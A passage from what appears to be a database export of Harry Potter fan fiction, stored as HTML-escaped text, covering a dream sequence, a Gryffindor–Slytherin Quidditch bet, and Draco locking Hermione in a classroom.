that&#8217;s why he made that an option of getting out of the arrangement.&#8221; </p>\n\n<p>Zara and Ron looked up at Harry, &#8220;what are you going to do Harry?&#8221; Ron asked.</p>\n\n<p>&#8220;What do you think I&#8217;m going to do, I&#8217;m going to get her out of this&#8212;this arrangement.&#8221; He sounded heroic.</p>\n\n<p>&#8220;Sounds like a good plan to me.&#8221; Ron said, &#8220;just how are you going to go about it. You can&#8217;t just walk up to her tomorrow and say I&#8217;m putting a claim on you to save you from that evil sinister Draco Malfoy.&#8221; Ron said half serious.</p>\n\n<p>&#8220;Look Ron I know that, I&#8217;m not stupid.&nbsp; I figure out a plan of action.&#8221; Harry sounded confident.</p>\n\n<p>Ron darted his eyebrows, &#8220; a plan of action huh, I bet.&#8221;</p>\n\n<p>Harry rolled his eyes knowing he knew better, he walked right into that one.&nbsp; He turned to Zara, &#8220;see this was a good idea, now that I know the truth I&#8217;ll be able to help her better.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know about that, it sure seems you&#8217;re pretty confident now.&nbsp; But she would never have said anything, so if you think about it you kind of tricked her into a confession.&nbsp; In a way you are no different that Draco Malfoy.&#8221;</p>\n\n<p>&#8220;I am not in any way like Malfoy.&#8221; Harry was disgusted.</p>\n\n<p>&#8220;Look I didn&#8217;t say you were like him, believe me he&#8217;s the biggest bastard to ever walk the planet I know literally from first hand experience.&nbsp; I think that you should have just asked her straight out how she felt about you, it would have saved you all her explanation about that orb and her arrangement, if you would have just said something, anything.&#8221; Zara&#8217;s voice was very firm.</p>\n\n<p>&#8220;What do you know, you barely know me or Hermione?&#8221; Harry sounded bitter.</p>\n\n<p>&#8220;I know cowardice when I see it, you are afraid of your affections and she&#8217;s afraid she&#8217;s not good enough to recieve your affections.&#8221; Zara stood and glared angrily at Harry, &#8220;I think the two of you, Ron and you should go up to bed so that I can wake Hermione and get her up to her bed away from her misbehaving friends.&nbsp; A true friend would never have done this.&#8221;</p>\n\n<p>&#8220;Look, I already feel bad enough as it is, but you&#8217;re right.&#8221; Harry sighed, &#8220;I don&#8217;t know how you are right, but we should not have done that. And nothing will take that guilt away even if I did tell her what we did, it wouldn&#8217;t make the situation any better because&#8212;&#8221;</p>\n\n<p>&#8220;Didn&#8217;t I say that it was a bad idea? You never know what you&#8217;re going to hear.&nbsp; And the truth can hurt even if it is for a good cause. Now get up stairs before I change my mind and tell your friend what you did to her.&#8221; Zara said meaning every word she said.</p>\n\n<p>Ron and Harry nodded and walked up the stairs to the six year boy dormitories after a much needed visit to the bathroom they prepared for bed. Harry and Ron got out of their clothing and both changed into a tee shirt and cotton sleeping pants, and slipped under their covers.&nbsp; </p>\n\n<p>Harry tossed and turned he looked up at the ceiling, it was true he couldn&#8217;t believe his fortune. He would never have thought that his friend Hermione would actually have feelings for him. <i>And why not?</i> he smiled to himself, but now was the plan of how to actually say or do something about it.&nbsp; He turned over on his side looking at the dresser near his bed, he reached over and pulled a skinny drawer open.&nbsp; There was that necklace again, he felt compelled to pick it up.&nbsp; He did.&nbsp; Harry held it in his hand looking at the opal, it looked a little different tonight he thought, it&#8217;s not so frosty looking, more like clear. Oh well his eyes were probably just playing tricks on him.&nbsp; He removed his glasses sitting them on the desk next to his bed.&nbsp; Still holding the necklace in his hand he turned over on his side and his eyes gently closed.</p>\n\n<p><i>&#8220;Where is she Ulrich?&#8221; He said in disgust.</i></p>\n\n<p><i></i></p>\n\n<p><i>Ulrich smirked &#8220;don&#8217;t worry she&#8217;s safe, for now. My father won&#8217;t hurt her if&nbsp; she&nbsp; agrees.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Agrees to what?&#8221; Torrin&#8217;s&nbsp; clinched his fists tightly at his sides.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You know my father has been trying to get Jasmine to be mine.&#8221; Ulrich smiled</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin felt ill he wanted to do nothing more than rip out Ulrich&#8217;s throat, He grabbed him and threw him up against the wall holding him in place. &#8220;You have been conspiring with you&#8217;re father over her, why?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Look I don&#8217;t want her,&#8221; Ulrich yelled &#8220; trust me on that.&#8221;&nbsp; His voice was wavering between anger and fear. &#8220;You know whoever has control of Merlin&#8217;s scepter has control over us all.&nbsp; And well Jasmine is the only one who can use it. He left it to her, it&#8217;s got a part of her in it.&nbsp; My father wants that control, you know that.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin dropped him. He recalled when Jasmine went off just this past summer to study with Merlin who prolonged his life to give his knowledge to the most worthy.&nbsp; Torrin looked at Ulrich and knew that he was angry for not being selected.&nbsp; &#8220;How do I know that this is the truth, I know you wanted Merlin&#8217;s knowledge and he chose Jasmine, and you would do anything to get even with her.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ulrich shook his head, &#8220;I wouldn&#8217;t subject her to the ruthlessness of my father, I&#8217;m not that heartless.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin knew he was getting nowhere, &#8220;I need to get to her, do you know where she is? Ulrich if you have ever cared or do care about her, tell me where she is?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Looking down Ulrich sighed, &#8220;I can&#8217;t tell you,&#8221; He paused and then looked up at Torrin, &#8220;I can&#8217;t tell you that she&#8217;s in the lower dungeons of our castle in the countryside.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Torrin didn&#8217;t smile but he wanted to, instead he turned and walked swiftly from Ulrich. He so wished he had spent more time in studying how to apparate, he was going to have to do this the hard way, actually getting there on horseback. He went to fetch his horse.&#8212;</i>Harry sat straight up looking down at the necklace still clutched in his hand, worried that he might break it he set it back in the drawer and closed it. He would try to give it back to Hermione tomorrow that is if she even considered talking to him.&nbsp; He would get her to talk to him tomorrow no matter what she said or did.&nbsp; With that he nodded and closed his eyes again, hoping another happy dream was on its way. </p>\n\n<p>=====</p>\n\n<p>So many problems, poor Hermione maybe she should pay more attention to deals in the future, huh people? ;) &nbsp;Well stay tuned for chapter 5-- Quidditch and Quarrels.&nbsp; Please read and review thanks, Ryoko.</p> '),
	(41, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:13.5pt">Disclaimer:&nbsp; Alright\nall the Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:13.5pt" align="center">Chapter 5-- Quidditch and\nQuarrels</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ah,\nOctober third was a great day to practice; with only a month before the season\nwas to start they figured it was a good time to start practicing before\nNovember&#8217;s games rolled around.&nbsp; They\nwanted to win again this year.&nbsp;&nbsp; Harry\nand the rest of the team were down at the Quidditch field discussing strategy\nwith Ron.&nbsp; Zara sat down on the bench as\nthe slytherin team walked up.&nbsp; The Gryffindors\nstared with hate at seeing the opposing team, and especially Draco Malfoy. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;Even though he said to himself he didn&#8217;t care\nanymore about what Hermione and Draco were up to still the sight of Draco\ncaused his insides to twist into knots.&nbsp;\nHe remembered about two weeks ago that Hermione had really had it with\nhim constantly trying to figure out what she and Draco were doing.&nbsp; She told him one final and last time to stay\naway from her.&nbsp; He listened to her this\ntime. Fine whatever it was it didn&#8217;t concern him and he was not going to get\ninvolved in anyway.&nbsp; He did not even go\nnear her at all in the last two weeks.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nwas fed up with everything If she didn&#8217;t want his friendship anymore then he\ndidn&#8217;t want hers.&nbsp; He was not going to\nobsess over her like he had been. &#8220;What are you doing here Malfoy? We have\nsigned up for our practice time this morning.&#8221; Harry said in disgust.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nthink you are mistaken.&#8221; Draco said with a smirk as he pulled out a sheet of\npaper with the permission for Slytherin to have practice this morning. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nsnatched the paper roughly from Draco&#8217;s hand, he\nscanned it as Zara waved over to her friend Jewel who was on the Slytherin\nteam.&nbsp; Ron took out his wand checking for\nforgeries. He then handed it back to him.&nbsp;&nbsp;\nRon looked over at his team, &#8220;well it&#8217;s true.&#8221;&nbsp; Ron glared at Draco, &#8220;we&#8217;ll just have to\nshare the field Malfoy,&#8221; Ron then signaled for his team to move to the other\nend of the field.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nwent over to Jewel with a smile, &#8220;so these Slytherins are letting you play?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Of\ncourse, they&#8217;ve seen my seeker skills my friend.&nbsp; You know on our school team I was very good.&#8221;\nJewel looked around, &#8220;I hope everything is similar?&#8221; She sounded unsure.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nknow these Brits do things a bit different, but I think it&#8217;s basically the same\nidea. At least that&#8217;s what Ron said.&#8221;&nbsp;\nZara smiled.&nbsp; It seemed as soon as\nZara said Ron&#8217;s name she heard him calling to her.&nbsp; And she walked over to her team, &#8220;what is it\nRon?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ncan&#8217;t talk to her, she&#8217;s the enemy.&#8221; Ron glared over at the Slytherins.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nis this war? She&#8217;s not the enemy she is my best friend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;In\na way Zara this is war.&#8221; He said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nyou better be careful she&#8217;s a really good Seeker. I don&#8217;t know how Harry plays,\nbut Jewel takes no prisoners.&nbsp; Even if\nshe does have a crush on Harry she will flatten him without a thought.&#8221;&nbsp; Zara smiled then walked towards the\nGryffindor team.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Wait.&#8221;\nRon said looking over at Zara with a grin walking over to her, &#8220;she was on your\nteam back in the US?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah,\nso?&#8221; Zara was confused.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;So\nyou know her moves and what she does right?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes,\nwhat are you getting at?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nsmirked, &#8220;lets have a little talk.&#8221; He smiled brightly as he huddled the team\ntogether.&nbsp; Zara nodded telling them the\nsecrets smiling with approval. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Good\nidea.&#8221; Zara lifted her head out of the huddle and scanned the Slytherin team\nwith a grin and ducked back in.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; They all stood,&nbsp;&nbsp; Ron moved from the huddle shouting over to\nthe other team, &#8220;hey how about a practice game, your team against ours?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nwalked right up to Ron &#8220;Weasley, your team against mine? You have got to be\njoking.&nbsp; What do we get when we win?&#8221;\nDraco was smug.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Does\nit matter?&#8221; Ron replied folding his arms across his chest.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah,\nwhat&#8217;s the bet. What are you offering?&#8221; Draco then looked over at Harry with an\nevil grin.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nthought that was odd and glared back, then gave his attention to Ron &#8220;what do\nyou think you&#8217;re doing Ron, don&#8217;t bet with Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nare you afraid that my team will kick the robes off yours Potter?&#8221; Draco\ntaunted.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nopened his mouth to say something but Ron interjected, &#8220;alright Malfoy whose\never team looses has to run through the school naked without getting caught,\ntomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Interesting\nwho&#8217;s going to expose themselves Weasley, the whole team or a specific person?&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;The\ncaptains, which would be me or you.&#8221; Ron replied with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;When\nwe win be prepared for a lesson in humiliation Weasley.&#8221; Draco said, &#8220;you have\na deal.&#8221; He held his hand out to seal the agreement. He felt Ron&#8217;s hand tightly\nalmost painfully grasp his.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Wait\na minute, how are we going to know if this is fair.&nbsp; Who are we going to get to be ref?&#8221; Harry\npointed out.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nnodded his head thinking, &#8220;you&#8217;re right Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;ll\ndo it.&#8221; A voice said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Everyone\nturned and saw Ginny walking onto the field with a dainty smile across her\nface.&nbsp; &#8220;I&#8217;ll be glad to ref for you\nplayers.&#8221;&nbsp; She looked between the\nGryffindors and the Slytherins with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We\nneed an impartial judge and ref, she a Gryffindor.&nbsp;&nbsp; Can we really trust her? &#8221; Draco accused\nstaring right at her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nhave always been fair.&#8221; Ginny&#8217;s vibrant red hair moved elegantly behind her\nwhen she turned to look over in the Slytherins direction again.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; Draco who never noticed Ginny before seemed\nto be staring at her pretty face, admiring the shine of her hair in the morning\nsun.&nbsp; He sucked in a breath, finally his\nthoughts returning &#8220;fine, let&#8217;s just play.&#8221;&nbsp;\nDraco said turning towards his team mates.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\nwaved her wand in the air and imagined a bright shiny whistle hanging in Madame\nHootches office &#8220;Accio whistle&#8221; and it flew into her\nhand. She clutched it putting it to her lips and blew it signaling the start of\nthe game.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">All\nthe players lifted into the air, as the chaser Angelina took the Quaffel immediately she headed down the field passing it to\nRon who had a clear shot of the net but he passed it to Alicia for she was\ncloser to make the basket, she was a bit distracted when she saw Zara whack a Bludger clean over her head hitting Draco in the shoulder\npractically knocking him clean off his broom. &#8220;Wow what a hit.&#8221; Alicia said\nquietly.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Sorry.&#8221; Zara mouthed sarcastically in his\ndirection, Draco almost fell over but he held on steadying himself. He glared\nas Alicia scored ten points for Gryffindor.&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nflew around searching for the snitch which hadn&#8217;t appeared at all yet, he kept dodging the Bludgers that Zara\nkept whacking purposefully in Draco&#8217;s direction.&nbsp; He heard the whistle sound knowing what Zara\nwas doing and the ref did not approve. Ginny granted a free shot at the goal\nfor Slytherin. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">She is fair</i> Draco thought to himself as he made the free shot,\nwinning Slytherin a ten point score.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nfeigned that she hurt her arm, and her position needed to be replaced.&nbsp; Fred came willingly filling her\nposition.&nbsp; He had never sat on the bench\nwaiting to play before, and he was only too eager to join his brother in the\ngame.&nbsp; Landing, Zara sat on the bench\nwatching Fred finally get to play.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; Harry noticed Zara seemed pretty pleased with\nherself as if that was all she wanted to do was try to knock Draco off his\nbroom as she leaned back watching the game.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\npassed to Alicia who passed to Angelina, Draco intercepted heading down the\nfield towards the Slytherin goal, he passed it to Bijorn\na Slytherin third year scoring for the team.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Cursing\nlightly Ron felt he could break his broomstick in half when the Slytherins\nscored.&nbsp; He did not want to show himself\nin front of the whole school tomorrow.&nbsp;\nHe gasped as Slytherin gained another ten points.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Alicia\nmoved down the field towards her goal passing it between herself and Ron,\nAngelina moved towards the goal with the Quaffle as a Bludger\nheaded her way.&nbsp; Fred whacked it watching\nit sail back where it came from, another one came at them this time George\nswung at the Bludger sending it in the opposite\ndirection hitting Bijorn.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Before\nthey knew it Slytherin had scored fifty points, Harry could see Ron&#8217;s face red\nwith anger.&nbsp;&nbsp; Harry watched Jewel\ncarefully as she had her eye on him. Usually when he saw her she was always so\ngiddy and trying to get his attention, but this time she was so competitive, no\nsmile no nothing.&nbsp; He remembered what\nZara said about Jewel waiting for the other teams Seeker to almost have the\nSnitch she would ram then from the left trying to knock the snitch out of the\nother teams grasp, you couldn&#8217;t really spot the move unless you were looking\nfor it exactly. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">A\nflash of gold caught Harry&#8217;s eye, there it is the snitch he headed for it with\nJewel on his tail.&nbsp; It was almost within\nhis reach, through the corner of his eye he saw her coming at him ready to\nknock him off his broom and steal it from him.&nbsp;\nHe pulled the broom up&nbsp; heading\nhigher just as Jewel was about to ram into him. She missed him and went flying\nin a zigzag unable to control her direction.&nbsp;\nHarry felt his fingers around the golden ball holding it in his\nhand.&nbsp; He went towards the ground and she\ncame at him again this time ramming right into him knocking him from his broom,\nhe headed towards the ground. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Wingardium Leviosa.&#8221; Ginny\nshouted with her wand pointed at Harry stopping him a few inches from the\nground.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\ngrinning held up the little gold ball in his hand.&nbsp; Ginny smiled at him taking her wand off him\nand he landed on the ground. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\nblew the whistle signaling the end of the game, &#8220;Gryffindors win one hundred </p>\n\n<p class="MsoNormal">and sixty to fifty.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The\nplayers landed Ron was extremely happy and he looked over at Draco with a grin,\n&#8220;I suppose we&#8217;ll see you tomorrow.&#8221; He shouted.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t think so Weasley.&#8221; Draco replied in anger</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nhad better hold up your end of the bargain Malfoy.&#8221; Alicia replied as if she\nhad always been waiting to see Draco in his birthday suit.&nbsp; &#8220;It&#8217;s not every day we get to see the real\nyou.&#8221; She winked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s\nthe matter are you afraid?&#8221; Zara taunted</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I&#8217;m\nnot afraid of anything.&#8221; Draco glared.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nand Harry laughed.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ntwo wouldn&#8217;t think it&#8217;s so funny if it were you now would you?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nMalfoy it isn&#8217;t us.&#8221; Harry said, &#8220;it is you.&nbsp;\nYou better hold up your end of the bargain.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Draco\nstopped glaring and then smiled evilly &#8220;oh I intend to hold up the end of every\nbargain I make, you can be sure of that.&#8221; Then without another word he walked\nfrom the field.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nsat on Professor Binns large oak desk copying notes\nfrom the board,&nbsp; he was distracted during\nclass this afternoon with all the stunts Zara pulled on the professor.&nbsp; It was quite funny, somehow she reminded him\nof a female version of Fred and George but with Ron&#8217;s attitude and\nsarcasm.&nbsp; He was in the classroom after\nall classes were over and dinner was finished trying to catch up.&nbsp; It was nearing eight o&#8217;clock by the time he\nfinished his notes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nstarted to pack up his writing materials and papers thinking back to this\nmorning.&nbsp;&nbsp;&nbsp; He dropped his bag and all\nhis books, papers, quills fell out. &#8220;Great, just perfect&#8221; He said out loud in\nsarcasm.&nbsp; He bent down to pick it up\nhearing two voices coming down the hall into the classroom. &#8220;Why would\nprofessor Binns want to see me?&#8221; It was Hermione&#8217;s\nvoice and she was aggravated.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t know,&#8221; Draco replied. &#8220; He asked if I knew who you were I said yes\nvaguely and he told me to fetch you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t know why I should believe anything you say Malfoy,&#8221; Both Hermione and\nDraco went into the classroom they didn&#8217;t see Harry on the floor picking up his\nthings behind Binns huge desk.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Look\nyou can even ask Ginny, she was in here with me when the professor asked me to\nfetch you.&#8221; Draco sounded sincere as Hermione narrowed her eyes in his\ndirection; he then smiled a charming smile.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nthink I&#8217;ll just ask her that when I am done here,&#8221; Hermione replied in\naggravation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nthought that was odd, he had been in here for a long time and there was no\nmention of that.&nbsp; He shook his head, this\nwasn&#8217;t his problem. He is not going to get involved.&nbsp; He reached for a few quills and inkbottles\nthat rolled underneath the desk.&nbsp; He\nscooted all the way underneath the desk when Hermione passed, she went into\nback office closing the door looking for professor Binns.&nbsp; Draco thought if it was this simple then he\nshould have no problem with the rest of the plan.&nbsp; He closed the door to the classroom and used\na locking charm on the door; he casually walked over sat down on the top of a\ndesk.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The\noffice door opened and Hermione stepped out, &#8220;Oh well I must have missed him,&#8221;\nShe put her hands on her hips, thinking out loud.&nbsp;&nbsp; &#8220;Well I have things to do if you see\nprofessor Binns tell him that I came by.&#8221; She walked\nswiftly to the door and tried to turn the handle, but it wouldn&#8217;t move.&nbsp; Hermione heard whistling of a guilty suspect\nbehind her. Her eyes slammed shut, &#8220;I&#8217;m so stupid I should have known.&#8221; She\nwhispered. Fear jumped up from her stomach into her throat. Hermione turned\naround and saw Draco twirling his wand in between his fingers like a baton.&nbsp; &#8220;Unlock this door right now.&#8221; She said firmly\nalthough her heart was pounding from fear she didn&#8217;t show it.&nbsp; It was at times like this that she wished she\nhadn&#8217;t left her wand back in her room at the tower. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Why?&#8221;\nDraco started laughing, &#8220;don&#8217;t you trust me enough not to go back on my word?&#8221;\nThat didn&#8217;t sound very sincere, and he knew it too.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Then\nwhy lock the door if you&#8217;re not going back on your word?&#8221; Her hands were\nplanted firmly on her hips.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\njust wanted you and me to have a little quiet time, is that too much to ask\nfor?&#8221; He said patting the table next to him with a foolish grin. &#8220;Come sit down\nand let&#8217;s have a little talk.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nwas wondering if maybe everyone else had been right, what if she was with Draco\nafter all she didn&#8217;t scream at him she calmly talked with him. What if it was\njust a trick so that their love affair wouldn&#8217;t be spread around? <i style="mso-bidi-font-style:normal">Nope not my problem</i> he thought,&nbsp; Behind the desk Harry was debating if he\nshould make his presence known, No, not yet both of them would probably hex him\ntill doomsday if he interrupted their moment. He leaned back against the desk. <i style="mso-bidi-font-style:normal">Just hurry up and get it over with.</i> He\nthought to himself, trying not to listen but that was unavoidable.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t want to talk to you, 